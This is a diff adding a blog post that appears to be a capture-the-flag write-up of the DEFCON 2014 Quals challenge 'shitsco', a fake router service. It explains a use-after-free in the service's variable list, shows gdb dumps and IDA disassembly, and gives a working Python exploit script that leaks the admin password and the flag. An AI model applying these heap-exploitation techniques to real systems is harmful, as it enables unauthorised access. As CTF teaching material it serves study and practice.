|
| 1 | +--- |
| 2 | +layout: post |
| 3 | +title: "DEFCON 2014 Quals : shitsco" |
| 4 | +description: "" |
| 5 | +category: writeups |
| 6 | +tags: |
| 7 | +- defconquals2014 |
| 8 | +- 2014 |
| 9 | +- defconquals |
| 10 | +- gynophage |
| 11 | +--- |
| 12 | +{% include JB/setup %} |
| 13 | + |
| 14 | + |
| 15 | +### Description |
| 16 | + shitsco |
| 17 | + http://services.2014.shallweplayaga.me/shitsco_c8b1aa3167SIGINT9e945ee64bde1bdb19d035 is running at: |
| 18 | + |
| 19 | + shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me:31337 |
| 20 | + |
| 21 | + Capture the flag. |
| 22 | + |
| 23 | +Basic binary service? Sure why not. |
| 24 | + |
| 25 | +### Poking it with a stick |
| 26 | + |
| 27 | + |
| 28 | + oooooooo8 oooo o88 o8 |
| 29 | + 888 888ooooo oooo o888oo oooooooo8 ooooooo ooooooo |
| 30 | + 888oooooo 888 888 888 888 888ooooooo 888 888 888 888 |
| 31 | + 888 888 888 888 888 888 888 888 888 |
| 32 | + o88oooo888 o888o o888o o888o 888o 88oooooo88 88ooo888 88ooo88 |
| 33 | + |
| 34 | + Welcome to Shitsco Internet Operating System (IOS) |
| 35 | + For a command list, enter ? |
| 36 | + $ ? |
| 37 | + ==========Available Commands========== |
| 38 | + |enable | |
| 39 | + |ping | |
| 40 | + |tracert | |
| 41 | + |? | |
| 42 | + |shell | |
| 43 | + |set | |
| 44 | + |show | |
| 45 | + |credits | |
| 46 | + |quit | |
| 47 | + ====================================== |
| 48 | + Type ? followed by a command for more detailed information |
| 49 | + $ enable foo |
| 50 | + Nope. The password isn't foo |
| 51 | + $ |
| 52 | + |
| 53 | + |
| 54 | +Weird fake cisco router thing. Notable looking commands, shell, set, show, enable. |
| 55 | +* shell is fake, prints "bash-3.2$" then laughs at you. |
| 56 | +* enable sure does take a password to enable admin access |
| 57 | +* set sets 'variables', show shows them |
| 58 | + |
| 59 | +We started with enable, since sometimes you can get back more data than you send! |
| 60 | + |
| 61 | + |
| 62 | +A bit later in IDA, we have some function names: |
| 63 | + |
| 64 | + |
| 65 | + |
| 66 | +Enable seems not too exciting, though it does appear to set an admin bit. |
| 67 | + |
| 68 | + |
| 69 | +Notably, their read_input function doesn't properly null terminate strings, so sometimes we can get a few bytes of stack data out of the %s on printf. Unfortunately, this turns out to be completely worthless. |
| 70 | + |
| 71 | +On to the other odd looking features of 'set' and 'show'. |
| 72 | + |
| 73 | +Show does something like: |
| 74 | + |
| 75 | + if name != null |
| 76 | + print find_value(name) |
| 77 | + else |
| 78 | + node = head |
| 79 | + while node.next!= null |
| 80 | + if node.name != null |
| 81 | + print node |
| 82 | + |
| 83 | +Where the node struct looks like: |
| 84 | + |
| 85 | + struct node{ |
| 86 | + char* name; |
| 87 | + char* value; |
| 88 | + struct node* next; |
| 89 | + struct node* prev; |
| 90 | + } |
| 91 | + |
| 92 | + |
| 93 | +### Getting an arbitrary read |
| 94 | + |
| 95 | +Neat, so we can print out values, looking at set, it turns out we can also DELETE values: |
| 96 | + |
| 97 | + |
| 98 | +I wonder what happens when we delete the statically allocated head of the list, while having 2 variables set? |
| 99 | + |
| 100 | + [head] |
| 101 | + (gdb) x /20x 0x804C36C |
| 102 | + 0x804c36c: 0x00000000 0x00000000 0x0804d1c0 0x00000000 |
| 103 | + |
| 104 | + [element 2] |
| 105 | + (gdb) x /20x 0x0804d1c0 |
| 106 | + 0x804d1c0: 0x0804d1d8 0x0804d1e8 0x00000000 0x00000000 |
| 107 | + |
| 108 | + |
| 109 | +Well, we obviously have to keep that next pointer set! Otherwise it could never traverse to other nodes in the list. |
| 110 | + |
| 111 | +And if we delete the second element now? |
| 112 | + |
| 113 | + [head] |
| 114 | + (gdb) x /20x 0x804C36C |
| 115 | + 0x804c36c: 0x00000000 0x00000000 0x0804d1c0 0x00000000 |
| 116 | + |
| 117 | + [element 2] |
| 118 | + (gdb) x /20x 0x0804d1c0 |
| 119 | + 0x804d1c0: 0x00000000 0x00000000 0x00000000 0x00000000 |
| 120 | + |
| 121 | + |
| 122 | +Uh oh... that next pointer still looks pretty valid, and that 2nd element sure did get deleted. |
| 123 | + |
| 124 | +Lets try allocating a new element to the head. |
| 125 | + |
| 126 | + [head] |
| 127 | + (gdb) x /20x 0x804C36C |
| 128 | + 0x804c36c: 0x0804d1e8 0x0804d1a0 0x0804d1c0 0x00000000 |
| 129 | + |
| 130 | +Those name and value pointers sure do look close to our dangling invalid next ptr. |
| 131 | + |
| 132 | +With a bit of heap feng shui (smart allocation ordering) lets see what we can do. |
| 133 | + |
| 134 | + set a bbb |
| 135 | + set bbbbbbbbbbbbbbbb s |
| 136 | + set a [delete] |
| 137 | + set bbbbbbbbbbbbbbbb [delete] |
| 138 | + set xxxxxxxxxxxxxxxx f |
| 139 | + |
| 140 | + |
| 141 | +Allocate the first element normally, then allocate the 2nd element with a name of the exact same size as a struct_node, delete both. Then when we next try to create an element, we need a struct_node (head is available so it uses that) and the next allocation it tries will be for the name (xxx...) which if its the same size as struct_node, will happily take the free'd 2nd elements spot. |
| 142 | + |
| 143 | + [head] |
| 144 | + (gdb) x /20x 0x804C36C |
| 145 | + 0x804c36c: 0x0804d1d8 0x0804d190 0x0804d1d8 0x00000000 |
| 146 | + |
| 147 | +Hey look, our name ptr goes directly to our next pointer! |
| 148 | +Lets cook up a better name then, say one that has the same structure as a struct_node, and we can read that value whenever we want! |
| 149 | + |
| 150 | + |
| 151 | +### Reading something |
| 152 | + |
| 153 | +Well now that we have a read, lets go back to enable, and find something to read. |
| 154 | + .text:08049267 mov [esp+4Ch+buffer], ebx ; s2 |
| 155 | + .text:0804926B mov [esp+4Ch+stream], offset dword_804C3A0 ; s1 |
| 156 | + .text:08049272 call _strcmp |
| 157 | + .text:08049277 mov [esp+4Ch+var_14], eax |
| 158 | + .text:0804927B mov eax, [esp+4Ch+var_14] |
| 159 | + .text:0804927F test eax, eax |
| 160 | + .text:08049281 jz short loc_80492B8 |
| 161 | + .text:08049283 mov [esp+4Ch+max_length], ebx |
| 162 | + .text:08049287 mov [esp+4Ch+buffer], offset aNope_ThePasswo ; "Nope. The password isn't %s\n" |
| 163 | + .text:0804928F mov [esp+4Ch+stream], 1 |
| 164 | + .text:08049296 call ___printf_chk |
| 165 | + |
| 166 | +Oh... lets read 0x804C3A0. |
| 167 | + |
| 168 | +So our name for our reallocated element is now going to need 2 things. A valid node.name and a valid node.value. Since we want to be able to look this element up by name, and we don't know 0x804C3A0 yet, lets have that be the value pointer, and go find a good name pointer. |
| 169 | + |
| 170 | + .rodata:080495BC _IO_stdin_used dd 20001h |
| 171 | + .rodata:080495C0 ; char modes[2] |
| 172 | + .rodata:080495C0 modes db 'r',0 ; DATA XREF: init_opening_pw_file+18 |
| 173 | + .rodata:080495C0 ; cmd_flag+24 |
| 174 | + .rodata:080495C2 ; char filename[] |
| 175 | + .rodata:080495C2 filename db '/home/shitsco/password',0 |
| 176 | + .rodata:080495C2 ; DATA XREF: init_opening_pw_file+20 |
| 177 | + |
| 178 | +'r' is a pretty good name, no spaces and we know where it is. |
| 179 | + |
| 180 | +Our final name string is thus |
| 181 | + |
| 182 | + [ptr to 'r'][0x804C3A0][something][something] |
| 183 | + |
| 184 | + |
| 185 | +### Script |
| 186 | + |
| 187 | + |
| 188 | + #!/usr/bin/python |
| 189 | + from sock import * |
| 190 | + import sys |
| 191 | + import time |
| 192 | + |
| 193 | + #host = "localhost:1111" |
| 194 | + host = "shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me:31337" |
| 195 | + #con = Sock("localhost:1111") |
| 196 | + con = Sock(host) |
| 197 | + def go_interactive(con): |
| 198 | + while True: |
| 199 | + time.sleep(0.2) |
| 200 | + print con.read_one(0) |
| 201 | + con.write(sys.stdin.readline()) |
| 202 | + |
| 203 | + |
| 204 | + def pause_script(): |
| 205 | + raw_input("Paused... Press enter to continue") |
| 206 | + |
| 207 | + namestr = "\xC0\x95\x04\x08"+"\xA0\xC3\x04\x08"*3 |
| 208 | + valstr = "f" |
| 209 | + |
| 210 | + |
| 211 | + con.read_until('$') |
| 212 | + con.send_line("set a bbb") |
| 213 | + con.send_line("set "+'b'*16+" s") |
| 214 | + con.send_line("set a ") |
| 215 | + con.send_line("set "+'b'*16+" ") |
| 216 | + con.send_line("set "+namestr+" "+valstr) |
| 217 | + |
| 218 | + #go_interactive(con) |
| 219 | + |
| 220 | + con.read_one(0) |
| 221 | + |
| 222 | + con.send_line("show "+"r") |
| 223 | + data = con.read_line() |
| 224 | + |
| 225 | + print data |
| 226 | + print [hex(ord(x)) for x in data] |
| 227 | + |
| 228 | + |
| 229 | +Reading the password produces some password: bruT3m3hard3rb4by |
| 230 | + |
| 231 | +Which we then use |
| 232 | + |
| 233 | + $ enable |
| 234 | + Please enter a password: bruT3m3hard3rb4by |
| 235 | + |
| 236 | + |
| 237 | +and the (previously unlisted) flag command |
| 238 | + |
| 239 | + # flag |
| 240 | + The flag is: Dinosaur vaginas |
| 241 | + |
| 242 | +... Not sure what that had to do with the problem, but its worth points |
0 commit comments